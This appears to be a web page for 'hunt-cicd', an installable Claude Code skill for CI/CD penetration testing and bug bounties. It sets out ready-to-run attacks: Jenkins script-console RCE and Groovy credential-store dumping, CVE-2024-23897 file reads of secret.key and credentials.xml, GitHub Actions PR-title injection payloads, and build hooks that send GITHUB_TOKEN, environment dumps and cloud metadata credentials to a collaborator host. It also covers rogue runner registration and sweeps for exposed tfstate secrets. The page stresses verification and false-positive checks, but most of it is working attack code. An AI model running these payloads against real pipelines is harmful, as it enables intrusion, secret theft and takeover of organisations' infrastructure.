关于 hunt-cicd
hunt-cicd 是面向渗透测试人员和漏洞赏金研究人员的 CI/CD 安全研究技能,介绍流水线注入、密钥泄露、Runner 风险、Jenkins 弱点及 Terraform 状态文件泄露的检查方法,并强调报告前验证实际影响。
主要功能
- 01Jenkins 控制台与 CLI 检查
- 02GitHub Actions 注入分析
- 03自托管 Runner 风险评估
- 04OIDC 信任策略审查
- 05CI 日志与制品密钥检查
- 06Terraform 状态文件暴露验证
适用场景
- 01审查 pull_request_target 工作流
- 02检查 Jenkins 是否存在预认证暴露
- 03审计公共仓库中的 Runner 行为
- 04验证状态文件中暴露的凭据
安装
复制下面的命令,在终端中运行。
npx skills add https:/ / github.com/ uphiago/ recon-skills --skill hunt-cicd安装后在 Claude Code 中输入/hunt-cicd确认已加载。
详细介绍
HUNT-CICD — CI/CD 流水线安全
皇冠明珠目标
可访问 Jenkins /script 控制台 = 立即获得 RCE。GitHub Actions 中的 pull_request_target(或 workflow_run)工作流若检出 PR head ref,并在 shell run: 中引用不受信任的 ${{ github.event.* }},就会变成“Pwnrequest” → 无需任何审批,即可从 fork PR 窃取机密。
价值最高的发现:
- Jenkins Script Console — Groovy 执行 → 完全 RCE → 转储凭据存储
- Jenkins CLI 文件读取(CVE-2024-23897) — 未认证的
@/etc/passwd参数展开 → 读取secret.key/credentials.xml→ 伪造管理员身份 → RCE - GitHub Actions
pull_request_target注入(Pwnrequest) — fork PR 可控制特权 shell 步骤中的${{ }}→ 窃取GITHUB_TOKEN(通常具有contents:write权限)和组织机密 - 自托管 runner 投毒 — 公共仓库中的非临时 runner 执行 fork PR 的构建 → 攻击者代码在 runner 主机上运行 → 持久化 + 窃取机密
- OIDC 信任策略滥用 — AWS IAM 角色信任策略中的
sub声明通配符范围过宽 → 组织中的任何工作流都能担任特权云角色 - Terraform 状态泄漏 — 公共 S3/GCS/Blob 中的
*.tfstate→ 明文基础设施凭据、数据库密码、私钥 - Runner 令牌 / 构件 / 日志泄漏 — 注册攻击者 runner,或窃取
::add-mask::打码前输出的机密
“没有证据就不能声称”关卡(先读)
CI/CD 漏洞发现经常被过度报告,因为仪表板看起来似乎可利用。在声称发现任何问题前:
- 登录页面不等于 RCE。 可访问的
/scriptURL 若返回 Jenkins 登录页面或403,就不是未认证脚本控制台。只有实际的scriptTextPOST 返回你的命令输出,才算数。 pull_request_target工作流并非自动存在注入漏洞。 只有不受信任的数据流入执行接收点时,才可利用。确认数据流(参见误报部分)后,才能创建 PR。- 盲注入需要带外验证。 如果你无法读取易受攻击步骤的输出,就必须通过 Burp Collaborator / interactsh 确认——使用每个接收点专属的子域名,由 runner 向其发起请求。工作流“运行成功”不能证明你的代码已执行。
- 只有解析
.tfstate文件后,HTTP 200 才能算凭据暴露。 与基线进行比较(参见误报部分)——许多tfstate文件只包含资源 ID 和输出,不含机密。
阶段 1 — Jenkins:检测、脚本控制台、CVE-2024-23897
# Fingerprint — the X-Jenkins header leaks the exact version (drives CVE selection)
curl --max-time 30 --connect-timeout 10 -sI "https://$TARGET/" | grep -iE "x-jenkins|x-hudson"
curl --max-time 30 --connect-timeout 10 -sI "https://$TARGET/login" | grep -i "x-jenkins-session"
for p in /script /jenkins/script /ci/script /scriptText /jenkins/scriptText; do
code=$(curl --max-time 30 --connect-timeout 10 -s -o /dev/null -w "%{http_code}" "https://$TARGET$p")
echo "$p -> $code" # 200 on /script == anon script console; 403/401 == auth required (NOT a finding alone)
done
未认证脚本控制台 → RCE(仅当 POST 返回输出时):
# This must return uid=...(jenkins). If it returns the Jenkins login HTML or a
# Crowd/SSO error page, the console is NOT anon-accessible — do not report it.
curl --max-time 30 --connect-timeout 10 -s -X POST "https://$TARGET/scriptText" \
--data-urlencode 'script=println "id".execute().text'
转储凭据存储(Groovy 会解密 UI 隐藏的机密):
import com.cloudbees.plugins.credentials.CredentialsProvider
import com.cloudbees.plugins.credentials.common.StandardUsernamePasswordCredentials
import org.jenkinsci.plugins.plaincredentials.StringCredentials
CredentialsProvider.lookupCredentials(StandardUsernamePasswordCredentials, jenkins.model.Jenkins.instance).each {
println "${it.id} :: ${it.username} :: ${it.password}"
}
CredentialsProvider.lookupCredentials(StringCredentials, jenkins.model.Jenkins.instance).each {
println "${it.id} :: ${it.secret}"
}
CVE-2024-23897 — 通过 Jenkins CLI 在认证前任意读取文件(args4j @ 文件展开;影响 ≤2.441 / LTS ≤2.426.2)。在允许匿名读取的情况下,可通过读取 secret.key + master.key 来解密 credentials.xml,或读取用户的 config.xml API 令牌,从而升级为 RCE:
# Download the matching jenkins-cli.jar from /jnlpJars/jenkins-cli.jar first.
java -jar jenkins-cli.jar -s "https://$TARGET/" -http connect-node "@/etc/passwd"
# The file content is echoed back in the error. Then target:
# @/var/lib/jenkins/secret.key @/var/lib/jenkins/secrets/master.key
# @/var/lib/jenkins/credentials.xml
验证:响应必须包含真实文件内容(root:x:0:0)。若只返回通用的“no such agent”,且没有泄漏任何行,说明实例已打补丁或路径错误——不算漏洞发现。
阶段 2 — GitHub Actions:Pwnrequest、${{ }} 注入 Shell、Runner 投毒、OIDC
核心区别(90% 的错误概念验证都栽在这里)
有两类 sink,所需的载荷各不相同:
${{ }}模板展开到 shellrun:中 — 表达式会在 shell 运行之前替换到脚本中,因此不可信字段中的换行符、反引号或$(...)会变成字面的 shell 代码。这是经典的注入。- 在 shell 中读取环境变量 —
GITHUB_TOKEN、secrets.X和任何映射到env:的值都是 shell 变量,其值就是字符串。要泄露它们,应使用echo/printenv,绝不要用cat $VAR(这会尝试打开一个以令牌命名的文件,并且不会打印任何内容)。
# VULNERABLE workflow (untrusted title flows into the script text):
on: pull_request_target # runs with write token + secrets, on fork PRs
jobs:
build:
steps:
- uses: actions/checkout@v4
with: { ref: ${{ github.event.pull_request.head.sha }} } # checks out ATTACKER code
- run: echo "Building PR ${{ github.event.pull_request.title }}" # ← ${{ }} INJECTION
通过 ${{ }} sink 发起攻击 — 将 PR 标题(或分支名、正文、标签、提交消息——这些都由攻击者控制)设置为跳出 echo 并运行你自己的命令。使用 printenv 而非 cat 来泄露令牌:
PR title: a"; printenv GITHUB_TOKEN | base64 | tr -d '\n' | { read T; curl "https://x.<COLLAB>/?t=$T"; }; echo "
对于多行 YAML run:,注入换行符更简洁:
PR title: foo\n curl https://x.<COLLAB>/?d=$(printenv | base64 -w0)
通过投毒的 checkout 发起攻击(无需 ${{ }}) — 如果 pull_request_target checkout 了 PR head,然后运行构建脚本/安装 checkout 树中的依赖项(例如 make、带恶意 preinstall 的 npm ci、Makefile,或 PR 中的 .github/ action),那么运行器会直接执行攻击者代码。将恶意代码放入任意构建钩子:
# in attacker's PR, e.g. package.json preinstall or Makefile:
curl --max-time 30 --connect-timeout 10 -s "https://x.<COLLAB>/?env=$(printenv | base64 -w0)"
cat /proc/self/environ | tr '\0' '\n' | base64 -w0 # captures secrets injected as env
自托管运行器投毒 — 如果公开仓库在 pull_request/pull_request_target 中使用 runs-on: self-hosted(或自定义标签),fork PR 的作业就会在组织自己的主机上运行。非临时运行器会在作业之间保留工具/凭据。可在作业内部读取运行器的身份和元数据来确认:
- run: |
whoami; hostname; id
curl --max-time 30 --connect-timeout 10 -s "https://x.<COLLAB>/?h=$(hostname)&u=$(whoami)"
curl -s "https://x.<COLLAB>/imds=$(curl -s --max-time 2 --connect-timeout 2 http://[REDACTED_IP]/latest/meta-data/iam/security-credentials/ | base64 -w0)"
滥用 OIDC 信任策略 — 使用 configure-aws-credentials 通过 OIDC 承担 IAM 角色的工作流,如果信任策略缺少 token.actions.githubusercontent.com:sub 条件,或使用宽松的通配符(repo:ORG/*:*),那么组织中的任何工作流(包括你可以合并的恶意工作流,或由配置错误的触发器启动的 fork 工作流)都可以承担该角色。检查该角色:
aws iam get-role --role-name <RoleName> --query 'Role.AssumeRolePolicyDocument'
# Red flag: StringLike on sub with "repo:ORG/*" or no sub condition at all (only aud).
然后证明影响:在组织内由你控制的工作流中承担该角色,并运行 aws sts get-caller-identity,使其返回特权角色 ARN。
侦察
# Enumerate org workflows that use the dangerous triggers
gh api graphql -f query='{organization(login:"ORG"){repositories(first:100){nodes{name}}}}' \
| jq -r '.data.organization.repositories.nodes[].name' | while read r; do
for wf in $(gh api "repos/ORG/$r/contents/.github/workflows" 2>/dev/null | jq -r '.[]?.name'); do
body=$(gh api "repos/ORG/$r/contents/.github/workflows/$wf" 2>/dev/null | jq -r '.content' | base64 -d)
echo "$body" | grep -Eq 'pull_request_target|workflow_run' && \
echo "$body" | grep -Eq '\$\{\{ *github\.event|self-hosted|head\.ref|head\.sha' && \
echo "CANDIDATE: ORG/$r/$wf"
done
done
在创建任何 PR 之前,先用静态分析器筛选候选项:gh extension install rhysd/actionlint 或运行 zizmor(pip install zizmor; zizmor .github/workflows/),它会专门标记模板注入和危险 checkout 模式。
第 3 阶段 — 日志和制品中的密钥
# Public-repo run logs frequently contain secrets printed BEFORE ::add-mask:: took effect,
# or echoed via debug. The masker only hides exact known values — derived/base64 forms slip through.
gh api "repos/ORG/REPO/actions/runs" | jq -r '.workflow_runs[:20][].id' | while read id; do
gh api "repos/ORG/REPO/actions/runs/$id/logs" > /tmp/r.zip 2>/dev/null && \
unzip -o -q /tmp/r.zip -d /tmp/runlogs && \
grep -rniE 'AKIA[0-9A-Z]{16}|ghp_[A-Za-z0-9]{36}|-----BEGIN|eyJ[A-Za-z0-9_-]{10,}\.' /tmp/runlogs
done
# Artifacts — env dumps, .env, kubeconfig, built binaries with embedded secrets
gh api "repos/ORG/REPO/actions/artifacts" | jq -r '.artifacts[] | "\(.id) \(.name)"'
请注意,actions/upload-artifact 不会对密钥进行脱敏 — 名为 env/debug 的制品是常见的直接泄露途径。
第 4 阶段 — GitLab CI
# Runner registration token → register an attacker runner that picks up jobs (and their secrets).
# Found in config.toml (via LFI/disclosure), screenshots, /admin/runners, or leaked CI logs.
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/api/v4/projects/PID/variables" -H "PRIVATE-TOKEN: $TOK" # masked? protected?
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/api/v4/runners?type=instance_type" -H "PRIVATE-TOKEN: $TOK"
# .gitlab-ci.yml review: unmasked variables, `CI_JOB_TOKEN` over-permission,
# `rules:` that run privileged jobs on MRs from forks (the GitLab analogue of pull_request_target).
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/api/v4/projects/PID/repository/files/.gitlab-ci.yml/raw?ref=main"
仅有注册令牌不算发现,除非该实例允许使用该令牌注册一个运行目标项目流水线的运行器。可通过注册一个由你控制的临时运行器,并捕获某个作业的脱敏变量来证明。
第 5 阶段 — Terraform 状态泄露
# Probe common public-bucket/path patterns (parameterize $T and $ORG)
for U in \
"https://$ORG.s3.amazonaws.com/terraform.tfstate" \
"https://s3.amazonaws.com/$ORG-tfstate/terraform.tfstate" \
"https://$ORG-infra.s3.amazonaws.com/env/prod/terraform.tfstate" \
"https://storage.googleapis.com/$ORG-tfstate/default.tfstate" \
"https://$ORG.blob.core.windows.net/tfstate/terraform.tfstate" ; do
code=$(curl --max-time 30 --connect-timeout 10 -s -o /tmp/tf.json -w "%{http_code}" "$U")
[ "$code" = "200" ] && echo "[+] 200 $U" && \
jq -r '.resources[].instances[].attributes
| to_entries[] | select(.key|test("password|secret|private_key|token|access_key";"i"))
| "\(.key) = \(.value)"' /tmp/tf.json 2>/dev/null
done
# Also hunt state in repos / backend configs
gh search code --owner ORG "terraform.tfstate" --limit 10
gh search code --owner ORG 'backend "s3"' --limit 10
误报筛选: 仅列出 id、arn、tags 的 tfstate 不属于密钥泄露。运行上面的 jq,并确认至少存在一个有效凭据(真实的 password、private_key、RDS 主密码,或尚未轮换的访问密钥)。然后使用该凭据进行只读操作来证明影响(aws sts get-caller-identity、能返回 banner 的数据库连接)——不要只是声称“状态中有凭据”。
第 6 阶段 — 构建制品/镜像分析
docker pull ORG/IMAGE:latest
docker history --no-trunc ORG/IMAGE:latest | grep -iE 'ENV|ARG|secret|token|password|key'
# Layer-level scan catches secrets removed in a later layer but still present in history:
trufflehog docker --image ORG/IMAGE:latest --only-verified
--only-verified 会筛选出 trufflehog 实际能够验证的凭据 — 使用它可在报告前排除过期/示例密钥带来的噪声。
有依据的参考资料(具名案例 / CVE)
- Pwnrequest /
pull_request_target类 — GitHub Security Lab(Jaroslav Lobačevski),《确保 GitHub Actions 和工作流安全:不可信输入》。关于 fork PR 密钥窃取和危险 checkout 模式的原始文章。 - GitHub Actions 工作流命令注入 — CVE-2020-15228 —
set-env/add-path工作流命令允许从日志输出注入环境变量/PATH;这促使这些命令被弃用,并改用$GITHUB_ENV。 - Jenkins CLI 任意文件读取 — CVE-2024-23897 — args4j 的
@前缀文件展开(Jenkins ≤2.441 / LTS ≤2.426.2),读取secret.key/credentials.xml→ 管理员权限 → RCE。 - Jenkins Stapler RCE — CVE-2018-1000861 — 动态路由可访问
groovy.lang.GroovyShell;这是较旧 Jenkins 上未认证脚本执行链中的典型案例。 - PortSwigger / Liam Galvin 等人 — 关于 GitHub Actions 注入点(标题/分支/正文/标签)以及
${{ }}注入run的模板替换攻击向量的研究;这是上文所引 actionlint/zizmor 检测规则的依据。
(仅列出我能准确归因的 CVE 和案例。声称存在漏洞前,请确认正在运行的版本是否处于 CVE 的受影响范围内。)
攻击链表
| CI/CD 发现 | 攻击链 | 影响 |
|---|---|---|
| Jenkins 匿名脚本控制台 | 导出凭据存储 → 云/DB 凭据 → 横向移动 | 严重 |
| Jenkins CLI 文件读取(CVE-2024-23897) | 读取 secret.key+credentials.xml → 伪造管理员身份 → RCE | 严重 |
Actions ${{ }} 注入(Pwnrequest) | printenv GITHUB_TOKEN/密钥 → 推送到受保护分支 | 严重 |
| 自托管运行器投毒 | 在运行器主机上执行代码 → IMDS 凭据 → 持久化 | 严重 |
OIDC sub 通配符 | 从任意组织工作流 AssumeRole 获取特权云角色 | 严重 |
| 包含有效凭据的 Terraform 状态 | 使用基础设施/DB/API 凭据 | 严重 |
| GitLab 运行器注册 | 注册运行器 → 获取流水线密钥 | 高/严重 |
| 镜像/日志/制品中的密钥 | 直接使用凭据 | 高 |
验证规范(每项发现报告前都应遵守)
- Jenkins 控制台:
scriptTextPOST 会返回你的id输出(uid=…(jenkins))。如果返回的是登录/SSO/Crowd 页面,则不是匿名访问。截取请求和响应的屏幕截图。 - CVE-2024-23897: 响应包含真实的
/etc/passwd内容;确认版本处于受影响范围内。已修补的实例会返回错误,不会泄露任何行。 - Actions 注入: 首先确认数据流入了一个汇点(参见 FP 部分)。盲注步骤必须收到 Collaborator 回调,且来源 IP 为运行器 IP。通过
printenv//proc/self/environ窃取令牌,并在你的端点解码——切勿执行cat $GITHUB_TOKEN。 - OIDC 滥用: 从你控制的工作流运行
aws sts get-caller-identity,返回特权角色 ARN;仅有看似宽松的信任策略还不够。 - Terraform 状态:
jq提取出至少 1 个有效密钥,然后通过只读身份验证验证。仅包含 ID/ARN 的状态不构成发现。 - 运行器令牌/镜像/日志: 证明该密钥可以通过身份验证(使用 trufflehog
--only-verified,或进行真实 API 调用)——仅持有一个字符串不代表存在影响。
应撤回的常见误报
/script返回登录页面(需要身份验证),却被报告为“未授权 RCE”。- 存在
pull_request_target,但不受信任的输入从未到达接收点(例如,仅在if:中用于检查github.actor,或工作流使用的是pull_request而非_target)。 ${{ }}引用已包含在env:块中,并在 shell 中加引号(推荐的安全模式)——这不可注入。.tfstate返回 200,但其中仅包含资源元数据。- 被屏蔽的 GitLab 变量设置为
protected,且仅向攻击者无法推送代码的受保护分支公开。 - Trufflehog 标记为“未验证”的命中项,其实是示例密钥或已过期密钥。
严重性: Jenkins 控制台 / CVE-2024-23897 / Actions 密钥泄露 / 运行器投毒 / OIDC 角色冒用 / Terraform 实时凭据 = 严重。图像/日志/构建产物中的密钥 = 高危/严重,具体取决于凭据的权限范围。
验证
运行此自测,以确认已准备好进行 CI/CD 排查:
-
.git 暴露探测 — 确认 Git 路径语法: 通过:Git 路径语法 通过:Git HEAD 路径语法
-
GitHub Actions 工作流检测 — 确认工作流路径: 通过:已识别工作流路径
-
Jenkinsfile 检测 — 确认 Jenkinsfile 模式: 通过:已识别 Jenkinsfile 模式
全部 3 项测试均可验证 CI/CD 排查准备情况。
注意事项
- 暴露
.git/config,但无法访问对象 — 访问/.git/config返回 200,只能证明仓库可访问;若无法访问/.git/objects/,就无法提取源代码。请同时测试这两个路径。 - CI/CD 日志泄露 — 构建日志通常包含密钥(API 密钥、令牌),但只有经过身份验证的用户才能查看。请测试匿名和已验证身份的访问。
- 未能证明执行的流水线注入 — 向流水线 YAML 或 Jenkinsfile 注入内容,并不能证明其已执行。需要确认流水线确实运行了你的代码。
- GitHub Actions workflow_dispatch — 如果操作包含
workflow_dispatch触发器,就可以通过 API 触发。请检查触发器是否仅限特定分支或用户使用。 - 容器仓库配置错误 — 公开的容器镜像可能包含构建密钥、源代码或凭据。务必拉取镜像并检查各层。
- 跨构建的构建产物投毒 — 如果构建产物的存储未按构建隔离,前一次构建的产物可能会提供给下一次构建。
- 被屏蔽的 CI/CD 变量 — 在 heredoc 中记录被屏蔽的变量,或将其进行 Base64 编码,仍会导致变量泄露。请测试能够绕过屏蔽的输出格式。